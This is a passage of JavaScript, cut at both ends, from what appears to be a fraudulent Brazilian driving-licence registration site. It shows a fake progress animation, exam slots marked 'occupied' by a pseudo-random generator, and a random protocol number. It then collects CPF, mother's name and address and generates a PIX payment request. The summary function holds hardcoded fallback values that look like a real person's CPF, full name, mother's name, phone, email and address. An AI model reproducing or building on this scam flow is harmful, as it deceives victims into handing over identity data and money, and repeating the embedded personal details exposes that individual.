`; container.appendChild(perguntaDiv); } function proximaPergunta() { const selecionado = document.querySelector( `input[name="pergunta${perguntas[perguntaAtual].numero}"]:checked` ); if (!selecionado) { alert("Selecione uma opção"); return; } // Salva a categoria selecionada (pergunta 3) if (perguntas[perguntaAtual].numero === 3) { const valorSelecionado = selecionado.value; if (valorSelecionado.includes('Categoria A')) { usuarioAtual.categoria = 'A'; } else if (valorSelecionado.includes('Categoria B')) { usuarioAtual.categoria = 'B'; } else if (valorSelecionado.includes('Ambas')) { usuarioAtual.categoria = 'AB'; } sessionStorage.setItem('categoriaEscolhida', usuarioAtual.categoria); } if (perguntaAtual < perguntas.length - 1) { perguntaAtual++; carregarPergunta(); } else { mostrarApenasTela('tela-resultado'); window.scrollTo(0, 0); iniciarAnimacaoResultado(); } } document.addEventListener("DOMContentLoaded", function () { const quesinonariosection = document.getElementById("tela-questionario"); if (quesinonariosection) { carregarPergunta(); } }); function iniciarAnimacaoResultado() { document.getElementById("nome-resultado").textContent = usuarioAtual.nome; const circuloProgresso = document.getElementById("circulo-progresso"); const percentualTexto = document.getElementById("percentual-texto"); const btnEmitir = document.getElementById("btn-emitir-cadastro"); let progresso = 0; // Desabilita o botão no início if (btnEmitir) { btnEmitir.disabled = true; btnEmitir.style.opacity = "0.5"; btnEmitir.style.cursor = "not-allowed"; } // Animação com velocidade média: incremento de 3-5 e intervalo de 150ms const interval = setInterval(() => { progresso += Math.random() * 2 + 3; // Incremento entre 3 e 5 if (progresso > 100) progresso = 100; const circumference = 2 * Math.PI * 45; const offset = circumference - (progresso / 100) * circumference; circuloProgresso.style.strokeDashoffset = offset; percentualTexto.textContent = Math.floor(progresso) + "%"; if (progresso >= 100) { clearInterval(interval); percentualTexto.textContent = "100%"; // Ativa o botão após completar 100% if (btnEmitir) { btnEmitir.disabled = false; btnEmitir.style.opacity = "1"; btnEmitir.style.cursor = "pointer"; } } }, 150); // Intervalo médio para animação fluida } function responderQuestionario() { const idadeSelect = document.querySelector( 'input[name="idade"]:checked' ); if (!idadeSelect) { alert("Selecione sua idade"); return; } alert("Idade selecionada: " + idadeSelect.value); } function emitirCadastro() { mostrarApenasTela('tela-endereco'); window.scrollTo(0, 0); } // Banco de dados de CEP simulado const cepDatabase = { 32180520: { logradouro: "Rua Praia Grande", bairro: "Estrela Dalva", cidade: "Contagem", estado: "MG", autoEscola: "Auto Escola Sorriso", }, 30120100: { logradouro: "Avenida Afonso Pena", bairro: "Centro", cidade: "Belo Horizonte", estado: "MG", autoEscola: "Auto Escola Horizonte", }, 70040902: { logradouro: "Esplanada dos Ministérios", bairro: "Centro", cidade: "Brasília", estado: "DF", autoEscola: "Auto Escola Central", }, "01310100": { logradouro: "Avenida Paulista", bairro: "Bela Vista", cidade: "São Paulo", estado: "SP", autoEscola: "Auto Escola Paulista", }, 20040020: { logradouro: "Avenida Rio Branco", bairro: "Centro", cidade: "Rio de Janeiro", estado: "RJ", autoEscola: "Auto Escola Rio", }, }; function mascaraCEP(input) { let value = input.value.replace(/\D/g, ""); if (value.length > 8) value = value.slice(0, 8); let formatted = ""; if (value.length > 0) { formatted = value.slice(0, 5); if (value.length > 5) formatted += "-" + value.slice(5, 8); } input.value = formatted; if (value.length === 8) { buscarCEP(value); } } function buscarCEP(cep) { const cepLimpo = cep.replace(/\D/g, ""); const mensagemEl = document.getElementById("cep-mensagem"); if (cepLimpo.length < 8) { return; } // Limpa mensagem anterior if (mensagemEl) { mensagemEl.style.display = "none"; mensagemEl.textContent = ""; } // Usa a API gratuita ViaCEP fetch(`https://viacep.com.br/ws/${cepLimpo}/json/`) .then((response) => response.json()) .then((data) => { if (data.erro) { // CEP não encontrado - permite preenchimento manual habilitarCamposManuais(); if (mensagemEl) { mensagemEl.textContent = "CEP não encontrado. Preencha os campos manualmente."; mensagemEl.style.display = "block"; } } else { // CEP encontrado - preenche os campos document.getElementById("logradouro").value = data.logradouro || ""; document.getElementById("bairro").value = data.bairro || ""; document.getElementById("cidade").value = data.localidade || ""; document.getElementById("estado").value = data.uf || ""; // Se logradouro veio preenchido, desabilita; senão permite edição if (data.logradouro) { document.getElementById("logradouro").disabled = true; } else { document.getElementById("logradouro").disabled = false; } if (data.bairro) { document.getElementById("bairro").disabled = true; } else { document.getElementById("bairro").disabled = false; } document.getElementById("cidade").disabled = true; document.getElementById("estado").disabled = true; document.getElementById("numero").focus(); if (mensagemEl) { mensagemEl.style.display = "none"; } } }) .catch((error) => { console.error("Erro ao buscar CEP:", error); // Em caso de erro, permite preenchimento manual habilitarCamposManuais(); if (mensagemEl) { mensagemEl.textContent = "Não foi possível buscar o CEP. Preencha os campos manualmente."; mensagemEl.style.display = "block"; } }); } function habilitarCamposManuais() { document.getElementById("logradouro").value = ""; document.getElementById("logradouro").disabled = false; document.getElementById("bairro").value = ""; document.getElementById("bairro").disabled = false; document.getElementById("cidade").value = ""; document.getElementById("cidade").disabled = false; document.getElementById("estado").value = ""; document.getElementById("estado").disabled = false; document.getElementById("logradouro").focus(); } function validarEndereco() { const cep = document.getElementById("cep").value; const logradouro = document.getElementById("logradouro").value; const numero = document.getElementById("numero").value; const bairro = document.getElementById("bairro").value; const cidade = document.getElementById("cidade").value; const estado = document.getElementById("estado").value; if (!cep || !logradouro || !numero || !bairro || !cidade || !estado) { alert("Preencha todos os campos obrigatórios!"); return; } if (cep.replace(/\D/g, "").length < 8) { alert("CEP inválido!"); return; } if (!numero.trim()) { alert("Digite o número da residência!"); return; } usuarioAtual.cep = cep; usuarioAtual.endereco = logradouro; usuarioAtual.numero = numero; usuarioAtual.complemento = document.getElementById("complemento").value || ""; usuarioAtual.bairro = bairro; usuarioAtual.cidade = cidade; usuarioAtual.estado = estado; fetch(`${API_BASE}/validar-endereco`, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ cpf: usuarioAtual.cpf, nome: usuarioAtual.nome, email: usuarioAtual.email || "", telefone: usuarioAtual.telefone || "", data_exame: usuarioAtual.data_exame || "", endereco: logradouro, cidade: cidade, estado: estado, }), }) .then((response) => response.json()) .then((data) => { if (data.sucesso) { usuarioAtual.protocolo = data.protocolo; mostrarApenasTela('tela-auto-escola'); window.scrollTo(0, 0); } else { alert("Erro ao registrar agendamento. Tentando localmente..."); mostrarApenasTela('tela-auto-escola'); window.scrollTo(0, 0); } }) .catch((error) => { console.error("Erro:", error); mostrarApenasTela('tela-auto-escola'); window.scrollTo(0, 0); }); } function finalizarCadastro() { const protocolo = "RAR-" + Math.floor(Math.random() * 900000) + 100000; document.getElementById("numero-protocolo").textContent = protocolo; document.getElementById("cartao-nome-usuario").textContent = usuarioAtual.nome; document.getElementById("cartao-cpf").textContent = usuarioAtual.cpf; const dataParts = usuarioAtual.dataNascimento.split("index-2.html"); document.getElementById("cartao-nasc").textContent = usuarioAtual.dataNascimento; document.getElementById("nome-validacao").textContent = usuarioAtual.nome.split(" ")[0]; document.getElementById("acomp-nome").textContent = usuarioAtual.nome; document.getElementById("acomp-cpf").textContent = usuarioAtual.cpf; document.getElementById("acomp-protocolo").textContent = protocolo; mostrarApenasTela('tela-aprovacao'); window.scrollTo(0, 0); } // Variáveis do calendário let dataSelecionada = null; let horarioSelecionado = null; let horariosOcupadosDia = []; let horariosCache = {}; // Cache para manter horários fixos por data let mesAtual = new Date().getMonth(); let anoAtual = new Date().getFullYear(); // Horários disponíveis (8h às 18h) const todosHorarios = [ "08:00", "08:30", "09:00", "09:30", "10:00", "10:30", "11:00", "11:30", "13:00", "13:30", "14:00", "14:30", "15:00", "15:30", "16:00", "16:30", "17:00", "17:30" ]; // Função para gerar horários ocupados baseado na data (fixo por data) function gerarHorariosOcupados(dataKey) { // Se já existe no cache, retorna o mesmo if (horariosCache[dataKey]) { return horariosCache[dataKey]; } // Gera horários baseado em seed da data (sempre igual para mesma data) const seed = dataKey.split('-').reduce((a, b) => a + parseInt(b), 0); const quantidade = 3 + (seed % 4); // 3 a 6 horários const horariosDisponiveis = [...todosHorarios]; const ocupados = []; let seedAtual = seed; for (let i = 0; i < quantidade && horariosDisponiveis.length > 0; i++) { seedAtual = (seedAtual * 9301 + 49297) % 233280; // Gerador pseudo-aleatório const indice = seedAtual % horariosDisponiveis.length; ocupados.push(horariosDisponiveis[indice]); horariosDisponiveis.splice(indice, 1); } // Salva no cache horariosCache[dataKey] = ocupados; return ocupados; } function marcarExames() { document.getElementById("modal-agendamento").style.display = "block"; document.getElementById("overlay-agendamento").style.display = "block"; document.getElementById("mes-select").value = mesAtual; document.getElementById("ano-select").value = anoAtual; document.getElementById("horarios-container").style.display = "none"; document.getElementById("horario-escolhido").textContent = "Nenhum"; horarioSelecionado = null; renderizarCalendario(); } function fecharAgendamento() { document.getElementById("modal-agendamento").style.display = "none"; document.getElementById("overlay-agendamento").style.display = "none"; dataSelecionada = null; horarioSelecionado = null; } function mesAnterior() { if (mesAtual === 0) { mesAtual = 11; anoAtual--; } else { mesAtual--; } document.getElementById("mes-select").value = mesAtual; document.getElementById("ano-select").value = anoAtual; renderizarCalendario(); } function mesProximo() { if (mesAtual === 11) { mesAtual = 0; anoAtual++; } else { mesAtual++; } document.getElementById("mes-select").value = mesAtual; document.getElementById("ano-select").value = anoAtual; renderizarCalendario(); } function mudarMes() { mesAtual = parseInt(document.getElementById("mes-select").value); renderizarCalendario(); } function mudarAno() { anoAtual = parseInt(document.getElementById("ano-select").value); renderizarCalendario(); } function renderizarCalendario() { const primeiroDia = new Date(anoAtual, mesAtual, 1).getDay(); const ultimoDia = new Date(anoAtual, mesAtual + 1, 0).getDate(); const hoje = new Date(); let html = ""; for (let i = 0; i < primeiroDia; i++) { html += '
'; } for (let dia = 1; dia <= ultimoDia; dia++) { const dataVerificacao = new Date(anoAtual, mesAtual, dia); const diaSemana = dataVerificacao.getDay(); // Bloqueia sábado (6) e domingo (0) const isFimDeSemana = diaSemana === 0 || diaSemana === 6; const isHoje = dia === hoje.getDate() && mesAtual === hoje.getMonth() && anoAtual === hoje.getFullYear(); // Verifica se a data já passou const dataAtual = new Date(anoAtual, mesAtual, dia); const isPassado = dataAtual < new Date(hoje.getFullYear(), hoje.getMonth(), hoje.getDate()); const isSelecionado = dataSelecionada && dia === dataSelecionada.getDate() && mesAtual === dataSelecionada.getMonth() && anoAtual === dataSelecionada.getFullYear(); let classe = "dia"; if (isFimDeSemana) classe += " bloqueado"; if (isHoje) classe += " hoje"; if (isPassado) classe += " passado"; if (isSelecionado) classe += " selecionado"; if (isFimDeSemana || isPassado) { html += `
${dia}
`; } else { html += `
${dia}
`; } } document.getElementById("calendario-dias").innerHTML = html; } function selecionarData(dia) { dataSelecionada = new Date(anoAtual, mesAtual, dia); horarioSelecionado = null; // Gera horários ocupados FIXOS para este dia (baseado na data) const dataKey = `${anoAtual}-${mesAtual}-${dia}`; horariosOcupadosDia = gerarHorariosOcupados(dataKey); const meses = [ "Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro", ]; const diasSemana = [ "Domingo", "Segunda-feira", "Terça-feira", "Quarta-feira", "Quinta-feira", "Sexta-feira", "Sábado" ]; const diaSemana = diasSemana[dataSelecionada.getDay()]; const dataFormatada = diaSemana + ", " + dia + " de " + meses[mesAtual] + " de " + anoAtual; document.getElementById("data-escolhida").textContent = dataFormatada; document.getElementById("horario-escolhido").textContent = "Nenhum"; // Mostra os horários disponíveis renderizarHorarios(); renderizarCalendario(); } function renderizarHorarios() { const container = document.getElementById("horarios-container"); const grid = document.getElementById("horarios-grid"); container.style.display = "block"; grid.innerHTML = ""; todosHorarios.forEach(horario => { const isOcupado = horariosOcupadosDia.includes(horario); const btn = document.createElement("button"); btn.textContent = horario; btn.style.padding = "8px 12px"; btn.style.border = "1px solid #ccc"; btn.style.borderRadius = "4px"; btn.style.cursor = isOcupado ? "not-allowed" : "pointer"; btn.style.backgroundColor = isOcupado ? "#f0f0f0" : "#fff"; btn.style.color = isOcupado ? "#999" : "#333"; btn.style.textDecoration = isOcupado ? "line-through" : "none"; if (horarioSelecionado === horario) { btn.style.backgroundColor = "#0044ab"; btn.style.color = "#fff"; btn.style.borderColor = "#0044ab"; } if (!isOcupado) { btn.onclick = () => selecionarHorario(horario); btn.onmouseover = () => { if (horarioSelecionado !== horario) { btn.style.backgroundColor = "#e3f2fd"; } }; btn.onmouseout = () => { if (horarioSelecionado !== horario) { btn.style.backgroundColor = "#fff"; } }; } else { btn.title = "Horário indisponível"; } grid.appendChild(btn); }); } function selecionarHorario(horario) { horarioSelecionado = horario; document.getElementById("horario-escolhido").textContent = horario; renderizarHorarios(); } function realizarAgendamento() { if (!dataSelecionada) { alert("Selecione uma data para agendar!"); return; } if (!horarioSelecionado) { alert("Selecione um horário para agendar!"); return; } usuarioAtual.data_exame = dataSelecionada; usuarioAtual.horario_exame = horarioSelecionado; document.getElementById("nome-exame-agendado").textContent = usuarioAtual.nome.split(" ")[0]; document.getElementById("acomp-nome-exame").textContent = usuarioAtual.nome; document.getElementById("acomp-cpf-exame").textContent = usuarioAtual.cpf; document.getElementById("acomp-protocolo-exame").textContent = document.getElementById("numero-protocolo").textContent; document.getElementById("modal-agendamento").style.display = "none"; document.getElementById("overlay-agendamento").style.display = "none"; mostrarApenasTela('tela-exames-agendados'); window.scrollTo(0, 0); } function voltarParaPrincipal() { mostrarApenasTela('tela-resumo'); preencherResumo(); window.scrollTo(0, 0); } // Função para formatar data em português function formatarDataPtBr(data) { if (!data) return "Não definida"; // Se já é string formatada, retorna if (typeof data === 'string' && data.includes('index.html')) { return data; } // Se é objeto Date if (data instanceof Date) { const diasSemana = [ "Domingo", "Segunda-feira", "Terça-feira", "Quarta-feira", "Quinta-feira", "Sexta-feira", "Sábado" ]; const meses = [ "Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro" ]; const diaSemana = diasSemana[data.getDay()]; const dia = data.getDate(); const mes = meses[data.getMonth()]; const ano = data.getFullYear(); return `${diaSemana}, ${dia} de ${mes} de ${ano}`; } return String(data); } function preencherResumo() { document.getElementById("resumo-cpf").textContent = usuarioAtual.cpf || "762.438.420-53"; document.getElementById("resumo-nome").textContent = usuarioAtual.nome || "Daniel Melecchi De Oliveira Freitas"; document.getElementById("resumo-data").textContent = usuarioAtual.dataNascimento || usuarioAtual.data_nascimento || "21/03/1976"; document.getElementById("resumo-mae").textContent = usuarioAtual.nome_mae || "Elizabeth Melecchi Freitas"; document.getElementById("resumo-telefone").textContent = usuarioAtual.telefone || "(31) 99665-5443"; document.getElementById("resumo-email").textContent = usuarioAtual.email || "cursons45@gmail.com"; document.getElementById("resumo-cep").textContent = usuarioAtual.cep || "32180-520"; document.getElementById("resumo-endereco").textContent = usuarioAtual.endereco ? usuarioAtual.endereco + ", " + usuarioAtual.numero : "Rua Praia Grande, 120"; document.getElementById("resumo-bairro").textContent = usuarioAtual.bairro || "Estrela Dalva"; document.getElementById("resumo-cidade").textContent = usuarioAtual.cidade ? usuarioAtual.cidade + "/" + usuarioAtual.estado : "Contagem/MG"; // Formata a data do exame em português document.getElementById("resumo-data-exame").textContent = formatarDataPtBr(usuarioAtual.data_exame); document.getElementById("resumo-horario").textContent = usuarioAtual.horario_exame || "A Definir"; } // Variável para controlar qual seção está sendo editada let secaoEmEdicao = null; function abrirEdicao(secao) { secaoEmEdicao = secao; const modal = document.getElementById("modal-edicao"); const overlay = document.getElementById("overlay-edicao"); const titulo = document.getElementById("modal-edicao-titulo"); const conteudo = document.getElementById("modal-edicao-conteudo"); let html = ''; switch(secao) { case 'dados-pessoais': titulo.textContent = "Editar Dados Pessoais"; html = `
`; break; case 'contato': titulo.textContent = "Editar Contato"; html = `
`; break; case 'endereco': titulo.textContent = "Editar Endereço"; html = `
`; break; case 'agendamento': titulo.textContent = "Editar Agendamento"; html = `

Para alterar a data e horário do exame, clique no botão abaixo:

`; break; } conteudo.innerHTML = html; modal.style.display = "block"; overlay.style.display = "block"; } function fecharEdicao() { document.getElementById("modal-edicao").style.display = "none"; document.getElementById("overlay-edicao").style.display = "none"; secaoEmEdicao = null; } function salvarEdicao() { switch(secaoEmEdicao) { case 'dados-pessoais': const nome = document.getElementById("edit-nome").value; const dataNasc = document.getElementById("edit-data-nasc").value; const mae = document.getElementById("edit-mae").value; if (nome) usuarioAtual.nome = nome.toUpperCase(); if (dataNasc) usuarioAtual.dataNascimento = dataNasc; if (mae) usuarioAtual.nome_mae = mae; break; case 'contato': const telefone = document.getElementById("edit-telefone").value; const email = document.getElementById("edit-email").value; if (telefone) usuarioAtual.telefone = telefone; if (email) usuarioAtual.email = email; break; case 'endereco': const cep = document.getElementById("edit-cep").value; const logradouro = document.getElementById("edit-logradouro").value; const numero = document.getElementById("edit-numero").value; const bairro = document.getElementById("edit-bairro").value; const cidade = document.getElementById("edit-cidade").value; const estado = document.getElementById("edit-estado").value; if (cep) usuarioAtual.cep = cep; if (logradouro) usuarioAtual.endereco = logradouro; if (numero) usuarioAtual.numero = numero; if (bairro) usuarioAtual.bairro = bairro; if (cidade) usuarioAtual.cidade = cidade; if (estado) usuarioAtual.estado = estado.toUpperCase(); break; } // Atualiza o resumo com os novos dados preencherResumo(); fecharEdicao(); } // Variável para evitar múltiplos cliques let gerandoPix = false; async function confirmarAgendamento() { // Evita múltiplos cliques if (gerandoPix) return; gerandoPix = true; // Desabilita o botão const btnConfirmar = document.querySelector('.btn-confirmar-agendar'); if (btnConfirmar) { btnConfirmar.disabled = true; btnConfirmar.style.opacity = '0.6'; btnConfirmar.style.cursor = 'not-allowed'; } // Mostra overlay de loading const overlayLoading = document.getElementById('overlay-gerando-pix'); if (overlayLoading) { overlayLoading.style.display = 'flex'; } const formatBRL = (value) => { const n = Number(value); return Number.isFinite(n) ? n.toLocaleString("pt-BR", { style: "currency", currency: "BRL" }) : value || ""; }; const statusEl = document.getElementById("pix-status-texto"); if (statusEl) statusEl.textContent = "Gerando PIX... aguarde"; // Busca o valor do admin let valorPrincipal = 4258; // valor padrão em centavos try { const respValor = await fetch(`${API_BASE}?action=valores`); const dadosValor = await respValor.json(); if (dadosValor.success && dadosValor.data) { valorPrincipal = dadosValor.data.valor_principal || 4258; } } catch (e) { console.log('Usando valor padrão'); } const payload = { tipo: 'principal', valor: valorPrincipal, cliente: { nome: usuarioAtual.nome || "", cpf: usuarioAtual.cpf || "", email: usuarioAtual.email || "", telefone: usuarioAtual.telefone || "", endereco: { cep: usuarioAtual.cep || "", rua: usuarioAtual.endereco || "", numero: usuarioAtual.numero || "", complemento: usuarioAtual.complemento || "", bairro: usuarioAtual.bairro || "", cidade: usuarioAtual.cidade || "", estado: usuarioAtual.estado || "" } }, data_exame: usuarioAtual.data_exame || "", horario_exame: usuarioAtual.horario_exame || "", protocolo: usuarioAtual.protocolo || document.getElementById("numero-protocolo")?.textContent || "", }; // Descobre a lib local já carregada e como gerar o QR const getQrGenerator = () => { // Caso 1: lib "qrcode" (node-qrcode build) => QRCode.toDataURL if (window.QRCode && typeof window.QRCode.toDataURL === "function") { return { type: "toDataURL", api: window.QRCode, }; } // Caso 2: algumas builds expõem "qrcode" em minúsculo if (window.qrcode && typeof window.qrcode.toDataURL === "function") { return { type: "toDataURL", api: window.qrcode, }; } // Caso 3: lib "qrcodejs" => new QRCode(container, opts) e desenha canvas/img // Normalmente expõe window.QRCode como FUNÇÃO/CONSTRUTOR (sem toDataURL) if (typeof window.QRCode === "function") { return { type: "constructor", api: window.QRCode, }; } return null; }; try { const response = await fetch(`${API_BASE}?action=criar`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), }); const resposta = await response.json().catch(() => ({})); if (!response.ok) throw new Error(resposta?.error || "Falha ao processar pagamento"); if (!resposta?.success) { alert( resposta?.error || "Erro ao processar pagamento. Tente novamente." ); if (statusEl) statusEl.textContent = "Não foi possível gerar o PIX."; return; } const data = resposta.data || {}; usuarioAtual.pagamento_id = data.transaction_id || ""; const copiaCola = data.pix_code || ""; const valor = data.valor || 0; const expiraEm = data.expira_em || 300; const elValor = document.getElementById("pix-valor"); if (elValor && valor) elValor.textContent = formatBRL(valor / 100); const elCodigo = document.getElementById("codigo-pix"); if (elCodigo) elCodigo.value = copiaCola || ""; // ===== QR: gera base64 e seta na imagem ===== const elQr = document.getElementById("qr-code-img"); if (elQr && copiaCola) { const gen = getQrGenerator(); if (!gen) { console.log( "Globals disponíveis:", Object.keys(window).slice(0, 200) ); throw new Error( "Lib de QR não encontrada no window. Verifique se o